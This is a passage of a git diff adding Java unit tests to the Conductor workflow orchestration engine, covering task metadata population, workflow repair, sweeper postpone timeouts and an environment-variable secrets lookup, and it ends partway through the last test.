assertTrue(metadataMapperService.shouldPopulateTaskDefinition(workflowTask)); + } + + @Test + public void testMetadataPopulationOnSimpleTaskDefMissing() { + String nameTaskDefinition = "task1"; + WorkflowTask workflowTask = createWorkflowTask(nameTaskDefinition); + + when(metadataDAO.getTaskDef(nameTaskDefinition)).thenReturn(null); + + WorkflowDef workflowDefinition = createWorkflowDefinition("testMetadataPopulation"); + workflowDefinition.setTasks(List.of(workflowTask)); + + metadataMapperService.populateTaskDefinitions(workflowDefinition); + + assertEquals(1, workflowDefinition.getTasks().size()); + WorkflowTask populatedWorkflowTask = workflowDefinition.getTasks().get(0); + assertNotNull(populatedWorkflowTask.getTaskDefinition()); + } + + private WorkflowDef createWorkflowDefinition(String name) { + WorkflowDef workflowDefinition = new WorkflowDef(); + workflowDefinition.setName(name); + return workflowDefinition; + } + + private WorkflowTask createWorkflowTask(String name) { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName(name); + workflowTask.setType(TaskType.SIMPLE.name()); + return workflowTask; + } + + private TaskDef createTaskDefinition(String name) { + return new TaskDef(name); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/reconciliation/TestWorkflowRepairService.java b/core/src/test/java/com/netflix/conductor/core/reconciliation/TestWorkflowRepairService.java new file mode 100644 index 0000000..9fed657 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/reconciliation/TestWorkflowRepairService.java @@ -0,0 +1,271 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.reconciliation; + +import java.time.Duration; +import java.util.HashMap; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.ArgumentCaptor; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.events.EventQueues; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.tasks.*; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.*; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.anyLong; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.reset; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +public class TestWorkflowRepairService { + + private QueueDAO queueDAO; + private ExecutionDAO executionDAO; + private ConductorProperties properties; + private WorkflowRepairService workflowRepairService; + private SystemTaskRegistry systemTaskRegistry; + + @Before + public void setUp() { + executionDAO = mock(ExecutionDAO.class); + queueDAO = mock(QueueDAO.class); + properties = mock(ConductorProperties.class); + systemTaskRegistry = mock(SystemTaskRegistry.class); + workflowRepairService = + new WorkflowRepairService(executionDAO, queueDAO, properties, systemTaskRegistry); + } + + @Test + public void verifyAndRepairSimpleTaskInScheduledState() { + TaskModel task = new TaskModel(); + task.setTaskType("SIMPLE"); + task.setStatus(TaskModel.Status.SCHEDULED); + task.setTaskId("abcd"); + task.setCallbackAfterSeconds(60); + + when(queueDAO.containsMessage(anyString(), anyString())).thenReturn(false); + + assertTrue(workflowRepairService.verifyAndRepairTask(task)); + // Verify that a new queue message is pushed for sync system tasks that fails queue contains + // check. + verify(queueDAO, times(1)).push(anyString(), anyString(), anyLong()); + } + + @Test + public void verifySimpleTaskInProgressState() { + TaskModel task = new TaskModel(); + task.setTaskType("SIMPLE"); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.setTaskId("abcd"); + task.setCallbackAfterSeconds(60); + + when(queueDAO.containsMessage(anyString(), anyString())).thenReturn(false); + + assertFalse(workflowRepairService.verifyAndRepairTask(task)); + // Verify that queue message is never pushed for simple task in IN_PROGRESS state + verify(queueDAO, never()).containsMessage(anyString(), anyString()); + verify(queueDAO, never()).push(anyString(), anyString(), anyLong()); + } + + @Test + public void verifyAndRepairSystemTask() { + String taskType = "TEST_SYS_TASK"; + TaskModel task = new TaskModel(); + task.setTaskType(taskType); + task.setStatus(TaskModel.Status.SCHEDULED); + task.setTaskId("abcd"); + task.setCallbackAfterSeconds(60); + + when(systemTaskRegistry.isSystemTask("TEST_SYS_TASK")).thenReturn(true); + when(systemTaskRegistry.get(taskType)) + .thenReturn( + new WorkflowSystemTask("TEST_SYS_TASK") { + @Override + public boolean isAsync() { + return true; + } + + @Override + public boolean isAsyncComplete(TaskModel task) { + return false; + } + + @Override + public void start( + WorkflowModel workflow, + TaskModel task, + WorkflowExecutor executor) { + super.start(workflow, task, executor); + } + }); + + when(queueDAO.containsMessage(anyString(), anyString())).thenReturn(false); + + assertTrue(workflowRepairService.verifyAndRepairTask(task)); + // Verify that a new queue message is pushed for tasks that fails queue contains check. + verify(queueDAO, times(1)).push(anyString(), anyString(), anyLong()); + + // Verify a system task in IN_PROGRESS state can be recovered. + reset(queueDAO); + task.setStatus(TaskModel.Status.IN_PROGRESS); + assertTrue(workflowRepairService.verifyAndRepairTask(task)); + // Verify that a new queue message is pushed for async System task in IN_PROGRESS state that + // fails queue contains check. + verify(queueDAO, times(1)).push(anyString(), anyString(), anyLong()); + } + + @Test + public void assertSyncSystemTasksAreNotCheckedAgainstQueue() { + // Return a Switch task object to init WorkflowSystemTask registry. + when(systemTaskRegistry.get(TASK_TYPE_DECISION)).thenReturn(new Decision()); + when(systemTaskRegistry.isSystemTask(TASK_TYPE_DECISION)).thenReturn(true); + when(systemTaskRegistry.get(TASK_TYPE_SWITCH)).thenReturn(new Switch()); + when(systemTaskRegistry.isSystemTask(TASK_TYPE_SWITCH)).thenReturn(true); + + TaskModel task = new TaskModel(); + task.setTaskType(TASK_TYPE_DECISION); + task.setStatus(TaskModel.Status.SCHEDULED); + + assertFalse(workflowRepairService.verifyAndRepairTask(task)); + // Verify that queue contains is never checked for sync system tasks + verify(queueDAO, never()).containsMessage(anyString(), anyString()); + // Verify that queue message is never pushed for sync system tasks + verify(queueDAO, never()).push(anyString(), anyString(), anyLong()); + + task = new TaskModel(); + task.setTaskType(TASK_TYPE_SWITCH); + task.setStatus(TaskModel.Status.SCHEDULED); + + assertFalse(workflowRepairService.verifyAndRepairTask(task)); + // Verify that queue contains is never checked for sync system tasks + verify(queueDAO, never()).containsMessage(anyString(), anyString()); + // Verify that queue message is never pushed for sync system tasks + verify(queueDAO, never()).push(anyString(), anyString(), anyLong()); + } + + @Test + public void assertAsyncCompleteInProgressSystemTasksAreNotCheckedAgainstQueue() { + TaskModel task = new TaskModel(); + task.setTaskType(TASK_TYPE_EVENT); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.setTaskId("abcd"); + task.setCallbackAfterSeconds(60); + task.setInputData(Map.of("asyncComplete", true)); + + WorkflowSystemTask workflowSystemTask = + new Event( + mock(EventQueues.class), + mock(ParametersUtils.class), + mock(ObjectMapper.class)); + when(systemTaskRegistry.get(TASK_TYPE_EVENT)).thenReturn(workflowSystemTask); + + assertTrue(workflowSystemTask.isAsyncComplete(task)); + + assertFalse(workflowRepairService.verifyAndRepairTask(task)); + // Verify that queue message is never pushed for async complete system tasks + verify(queueDAO, never()).containsMessage(anyString(), anyString()); + verify(queueDAO, never()).push(anyString(), anyString(), anyLong()); + } + + @Test + public void assertAsyncCompleteScheduledSystemTasksAreCheckedAgainstQueue() { + TaskModel task = new TaskModel(); + task.setTaskType(TASK_TYPE_SUB_WORKFLOW); + task.setStatus(TaskModel.Status.SCHEDULED); + task.setTaskId("abcd"); + task.setCallbackAfterSeconds(60); + + WorkflowSystemTask workflowSystemTask = + new SubWorkflow(new ObjectMapper(), new IDGenerator()); + when(systemTaskRegistry.get(TASK_TYPE_SUB_WORKFLOW)).thenReturn(workflowSystemTask); + when(queueDAO.containsMessage(anyString(), anyString())).thenReturn(false); + + assertTrue(workflowSystemTask.isAsyncComplete(task)); + + assertTrue(workflowRepairService.verifyAndRepairTask(task)); + // Verify that queue message is never pushed for async complete system tasks + verify(queueDAO, times(1)).containsMessage(anyString(), anyString()); + verify(queueDAO, times(1)).push(anyString(), anyString(), anyLong()); + } + + @Test + public void verifyAndRepairParentWorkflow() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("abcd"); + workflow.setParentWorkflowId("parentWorkflowId"); + + when(properties.getWorkflowOffsetTimeout()).thenReturn(Duration.ofSeconds(10)); + when(executionDAO.getWorkflow("abcd", true)).thenReturn(workflow); + when(queueDAO.containsMessage(anyString(), anyString())).thenReturn(false); + + workflowRepairService.verifyAndRepairWorkflowTasks("abcd"); + verify(queueDAO, times(1)).containsMessage(anyString(), anyString()); + verify(queueDAO, times(1)).push(anyString(), anyString(), anyLong()); + } + + @Test + public void assertInProgressSubWorkflowSystemTasksAreCheckedAndRepaired() { + String subWorkflowId = "subWorkflowId"; + String taskId = "taskId"; + + TaskModel task = new TaskModel(); + task.setTaskType(TASK_TYPE_SUB_WORKFLOW); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.setTaskId(taskId); + task.setCallbackAfterSeconds(60); + task.setSubWorkflowId(subWorkflowId); + Map outputMap = new HashMap<>(); + outputMap.put("subWorkflowId", subWorkflowId); + task.setOutputData(outputMap); + + WorkflowModel subWorkflow = new WorkflowModel(); + subWorkflow.setWorkflowId(subWorkflowId); + subWorkflow.setStatus(WorkflowModel.Status.TERMINATED); + subWorkflow.setOutput(Map.of("k1", "v1", "k2", "v2")); + + when(executionDAO.getWorkflow(subWorkflowId, false)).thenReturn(subWorkflow); + + assertTrue(workflowRepairService.verifyAndRepairTask(task)); + // Verify that queue message is never pushed for async complete system tasks + verify(queueDAO, never()).containsMessage(anyString(), anyString()); + verify(queueDAO, never()).push(anyString(), anyString(), anyLong()); + // Verify + ArgumentCaptor argumentCaptor = ArgumentCaptor.forClass(TaskModel.class); + verify(executionDAO, times(1)).updateTask(argumentCaptor.capture()); + assertEquals(taskId, argumentCaptor.getValue().getTaskId()); + assertEquals(subWorkflowId, argumentCaptor.getValue().getSubWorkflowId()); + assertEquals(TaskModel.Status.CANCELED, argumentCaptor.getValue().getStatus()); + assertNotNull(argumentCaptor.getValue().getOutputData()); + assertEquals(subWorkflowId, argumentCaptor.getValue().getOutputData().get("subWorkflowId")); + assertEquals("v1", argumentCaptor.getValue().getOutputData().get("k1")); + assertEquals("v2", argumentCaptor.getValue().getOutputData().get("k2")); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/reconciliation/TestWorkflowSweeper.java b/core/src/test/java/com/netflix/conductor/core/reconciliation/TestWorkflowSweeper.java new file mode 100644 index 0000000..e8689dc --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/reconciliation/TestWorkflowSweeper.java @@ -0,0 +1,427 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.reconciliation; + +import java.time.Duration; +import java.util.List; +import java.util.Optional; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.TaskModel.Status; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.service.ExecutionLockService; + +import static com.netflix.conductor.core.utils.Utils.DECIDER_QUEUE; + +import static org.junit.Assert.assertTrue; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +public class TestWorkflowSweeper { + + private ConductorProperties properties; + private WorkflowExecutor workflowExecutor; + private WorkflowRepairService workflowRepairService; + private QueueDAO queueDAO; + private ExecutionDAOFacade executionDAOFacade; + private WorkflowSweeper workflowSweeper; + private ExecutionLockService executionLockService; + + private int defaultPostPoneOffSetSeconds = 1800; + private int defaulMmaxPostponeDurationSeconds = 2000000; + + @Before + public void setUp() { + properties = mock(ConductorProperties.class); + workflowExecutor = mock(WorkflowExecutor.class); + queueDAO = mock(QueueDAO.class); + workflowRepairService = mock(WorkflowRepairService.class); + executionDAOFacade = mock(ExecutionDAOFacade.class); + executionLockService = mock(ExecutionLockService.class); + when(properties.getMaxPostponeDurationSeconds()) + .thenReturn(Duration.ofSeconds(defaulMmaxPostponeDurationSeconds)); + workflowSweeper = + new WorkflowSweeper( + workflowExecutor, + Optional.of(workflowRepairService), + properties, + queueDAO, + executionDAOFacade, + executionLockService); + } + + @Test + public void testPostponeDurationForHumanTaskType() { + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId("task1"); + taskModel.setTaskType(TaskType.TASK_TYPE_HUMAN); + taskModel.setStatus(Status.IN_PROGRESS); + workflowModel.setTasks(List.of(taskModel)); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + when(properties.getMaxPostponeDurationSeconds()) + .thenReturn(Duration.ofSeconds(defaulMmaxPostponeDurationSeconds)); + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, + workflowModel.getWorkflowId(), + defaultPostPoneOffSetSeconds * 1000); + } + + @Test + public void testPostponeDurationForWaitTaskType() { + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId("task1"); + taskModel.setTaskType(TaskType.TASK_TYPE_WAIT); + taskModel.setStatus(Status.IN_PROGRESS); + workflowModel.setTasks(List.of(taskModel)); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + when(properties.getMaxPostponeDurationSeconds()) + .thenReturn(Duration.ofSeconds(defaulMmaxPostponeDurationSeconds)); + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, + workflowModel.getWorkflowId(), + defaultPostPoneOffSetSeconds * 1000); + } + + @Test + public void testPostponeDurationForWaitTaskTypeWithLongWaitTime() { + long waitTimeout = 65845; + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId("task1"); + taskModel.setTaskType(TaskType.TASK_TYPE_WAIT); + taskModel.setStatus(Status.IN_PROGRESS); + taskModel.setWaitTimeout(System.currentTimeMillis() + waitTimeout); + workflowModel.setTasks(List.of(taskModel)); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + when(properties.getMaxPostponeDurationSeconds()) + .thenReturn(Duration.ofSeconds(defaulMmaxPostponeDurationSeconds)); + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, workflowModel.getWorkflowId(), (waitTimeout / 1000) * 1000); + } + + @Test + public void testPostponeDurationForWaitTaskTypeWithLessOneSecondWaitTime() { + long waitTimeout = 180; + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId("task1"); + taskModel.setTaskType(TaskType.TASK_TYPE_WAIT); + taskModel.setStatus(Status.IN_PROGRESS); + taskModel.setWaitTimeout(System.currentTimeMillis() + waitTimeout); + workflowModel.setTasks(List.of(taskModel)); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, workflowModel.getWorkflowId(), (waitTimeout / 1000) * 1000); + } + + @Test + public void testPostponeDurationForWaitTaskTypeWithZeroWaitTime() { + long waitTimeout = 0; + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId("task1"); + taskModel.setTaskType(TaskType.TASK_TYPE_WAIT); + taskModel.setStatus(Status.IN_PROGRESS); + taskModel.setWaitTimeout(System.currentTimeMillis() + waitTimeout); + workflowModel.setTasks(List.of(taskModel)); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, workflowModel.getWorkflowId(), (waitTimeout / 1000) * 1000); + } + + @Test + public void testPostponeDurationForTaskInProgress() { + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId("task1"); + taskModel.setTaskType(TaskType.TASK_TYPE_SIMPLE); + taskModel.setStatus(Status.IN_PROGRESS); + workflowModel.setTasks(List.of(taskModel)); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + when(properties.getMaxPostponeDurationSeconds()) + .thenReturn(Duration.ofSeconds(defaulMmaxPostponeDurationSeconds)); + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, + workflowModel.getWorkflowId(), + defaultPostPoneOffSetSeconds * 1000); + } + + @Test + public void testPostponeDurationForTaskInProgressWithResponseTimeoutSet() { + long responseTimeout = 200; + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId("task1"); + taskModel.setTaskType(TaskType.TASK_TYPE_SIMPLE); + taskModel.setStatus(Status.IN_PROGRESS); + taskModel.setResponseTimeoutSeconds(responseTimeout); + workflowModel.setTasks(List.of(taskModel)); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + when(properties.getMaxPostponeDurationSeconds()) + .thenReturn(Duration.ofSeconds(defaulMmaxPostponeDurationSeconds)); + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, workflowModel.getWorkflowId(), (responseTimeout + 1) * 1000); + } + + @Test + public void + testPostponeDurationForTaskInProgressWithResponseTimeoutSetLongerThanMaxPostponeDuration() { + long responseTimeout = defaulMmaxPostponeDurationSeconds + 1; + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId("task1"); + taskModel.setTaskType(TaskType.TASK_TYPE_SIMPLE); + taskModel.setStatus(Status.IN_PROGRESS); + taskModel.setResponseTimeoutSeconds(responseTimeout); + workflowModel.setTasks(List.of(taskModel)); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + when(properties.getMaxPostponeDurationSeconds()) + .thenReturn(Duration.ofSeconds(defaulMmaxPostponeDurationSeconds)); + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, + workflowModel.getWorkflowId(), + defaulMmaxPostponeDurationSeconds * 1000L); + } + + @Test + public void testPostponeDurationForTaskInScheduled() { + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + WorkflowDef workflowDef = new WorkflowDef(); + workflowModel.setWorkflowDefinition(workflowDef); + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId("task1"); + taskModel.setTaskType(TaskType.TASK_TYPE_SIMPLE); + taskModel.setStatus(Status.SCHEDULED); + taskModel.setReferenceTaskName("task1"); + workflowModel.setTasks(List.of(taskModel)); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, + workflowModel.getWorkflowId(), + defaultPostPoneOffSetSeconds * 1000); + } + + @Test + public void testPostponeDurationForTaskInScheduledWithWorkflowTimeoutSet() { + long workflowTimeout = 1800; + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setTimeoutSeconds(workflowTimeout); + workflowModel.setWorkflowDefinition(workflowDef); + TaskModel taskModel = new TaskModel(); + taskModel.setTaskId("task1"); + taskModel.setTaskType(TaskType.TASK_TYPE_SIMPLE); + taskModel.setStatus(Status.SCHEDULED); + workflowModel.setTasks(List.of(taskModel)); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, workflowModel.getWorkflowId(), (workflowTimeout + 1) * 1000); + } + + @Test + public void testPostponeDurationForTaskInScheduledWithWorkflowTimeoutSetAndNoPollTimeout() { + long workflowTimeout = 1800; + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setTimeoutSeconds(workflowTimeout); + workflowModel.setWorkflowDefinition(workflowDef); + TaskDef taskDef = new TaskDef(); + TaskModel taskModel = mock(TaskModel.class); + workflowModel.setTasks(List.of(taskModel)); + when(taskModel.getTaskDefinition()).thenReturn(Optional.of(taskDef)); + when(taskModel.getStatus()).thenReturn(Status.SCHEDULED); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, workflowModel.getWorkflowId(), (workflowTimeout + 1) * 1000); + } + + @Test + public void testPostponeDurationForTaskInScheduledWithNoWorkflowTimeoutSetAndNoPollTimeout() { + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + WorkflowDef workflowDef = new WorkflowDef(); + workflowModel.setWorkflowDefinition(workflowDef); + TaskDef taskDef = new TaskDef(); + TaskModel taskModel = mock(TaskModel.class); + workflowModel.setTasks(List.of(taskModel)); + when(taskModel.getTaskDefinition()).thenReturn(Optional.of(taskDef)); + when(taskModel.getStatus()).thenReturn(Status.SCHEDULED); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, + workflowModel.getWorkflowId(), + defaultPostPoneOffSetSeconds * 1000); + } + + @Test + public void testPostponeDurationForTaskInScheduledWithNoPollTimeoutSet() { + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + TaskDef taskDef = new TaskDef(); + WorkflowDef workflowDef = new WorkflowDef(); + workflowModel.setWorkflowDefinition(workflowDef); + TaskModel taskModel = mock(TaskModel.class); + workflowModel.setTasks(List.of(taskModel)); + when(taskModel.getStatus()).thenReturn(Status.SCHEDULED); + when(taskModel.getTaskDefinition()).thenReturn(Optional.of(taskDef)); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, + workflowModel.getWorkflowId(), + defaultPostPoneOffSetSeconds * 1000); + } + + @Test + public void testPostponeDurationForTaskInScheduledWithPollTimeoutSet() { + int pollTimeout = 200; + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + TaskDef taskDef = new TaskDef(); + taskDef.setPollTimeoutSeconds(pollTimeout); + TaskModel taskModel = mock(TaskModel.class); + ; + workflowModel.setTasks(List.of(taskModel)); + when(taskModel.getStatus()).thenReturn(Status.SCHEDULED); + when(taskModel.getTaskDefinition()).thenReturn(Optional.of(taskDef)); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, workflowModel.getWorkflowId(), (pollTimeout + 1) * 1000); + } + + @Test + public void testPostponeDurationChoosesMinimumAcrossTasks() { + long responseTimeout = 500; + int pollTimeout = 120; + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + TaskModel inProgressTask = new TaskModel(); + inProgressTask.setTaskId("task1"); + inProgressTask.setTaskType(TaskType.TASK_TYPE_SIMPLE); + inProgressTask.setStatus(Status.IN_PROGRESS); + inProgressTask.setResponseTimeoutSeconds(responseTimeout); + TaskDef taskDef = new TaskDef(); + taskDef.setPollTimeoutSeconds(pollTimeout); + TaskModel scheduledTask = mock(TaskModel.class); + when(scheduledTask.getStatus()).thenReturn(Status.SCHEDULED); + when(scheduledTask.getTaskDefinition()).thenReturn(Optional.of(taskDef)); + workflowModel.setTasks(List.of(inProgressTask, scheduledTask)); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, workflowModel.getWorkflowId(), (pollTimeout + 1) * 1000L); + } + + @Test + public void testPostponeDurationForScheduledTaskCappedByMaxPostpone() { + int pollTimeout = 1000; + int maxPostponeSeconds = 100; + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowId("1"); + TaskDef taskDef = new TaskDef(); + taskDef.setPollTimeoutSeconds(pollTimeout); + TaskModel taskModel = mock(TaskModel.class); + when(taskModel.getStatus()).thenReturn(Status.SCHEDULED); + when(taskModel.getTaskDefinition()).thenReturn(Optional.of(taskDef)); + workflowModel.setTasks(List.of(taskModel)); + when(properties.getWorkflowOffsetTimeout()) + .thenReturn(Duration.ofSeconds(defaultPostPoneOffSetSeconds)); + when(properties.getMaxPostponeDurationSeconds()) + .thenReturn(Duration.ofSeconds(maxPostponeSeconds)); + + workflowSweeper.unack(workflowModel, defaultPostPoneOffSetSeconds); + + verify(queueDAO) + .setUnackTimeout( + DECIDER_QUEUE, workflowModel.getWorkflowId(), maxPostponeSeconds * 1000L); + } + + @Test + public void testWorkflowOffsetJitter() { + long offset = 45; + for (int i = 0; i < 10; i++) { + long offsetWithJitter = workflowSweeper.workflowOffsetWithJitter(offset); + assertTrue(offsetWithJitter >= 30); + assertTrue(offsetWithJitter <= 60); + } + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/secrets/EnvVariableSecretsDAOTest.java b/core/src/test/java/com/netflix/conductor/core/secrets/EnvVariableSecretsDAOTest.java new file mode 100644 index 0000000..038b0dc --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/secrets/EnvVariableSecretsDAOTest.java @@ -0,0 +1,63 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.secrets; + +import java.util.List; + +import org.junit.After; +import org.junit.Test; + +import static org.junit.Assert.*; + +public class EnvVariableSecretsDAOTest { + + private final EnvVariableSecretsDAO dao = new EnvVariableSecretsDAO("CONDUCTOR_SECRET_"); + + @After + public void cleanup() { + System.clearProperty("CONDUCTOR_SECRET_DB_PASSWORD"); + System.clearProperty("CONDUCTOR_SECRET_CREDS"); + } + + @Test + public void testGetSecretReadsPrefixedProperty() { + System.setProperty("CONDUCTOR_SECRET_DB_PASSWORD", "s3cr3t"); + assertEquals("s3cr3t", dao.getSecret("DB_PASSWORD")); + } + + @Test + public void testSecretExists() { + System.setProperty("CONDUCTOR_SECRET_DB_PASSWORD", "s3cr3t"); + assertTrue(dao.secretExists("DB_PASSWORD")); + assertFalse(dao.secretExists("NOPE")); + } + + @Test + public void testListSecretNamesStripsPrefixAndOmitsValues() { + System.setProperty("CONDUCTOR_SECRET_DB_PASSWORD", "s3cr3t"); + List names = dao.listSecretNames(); + 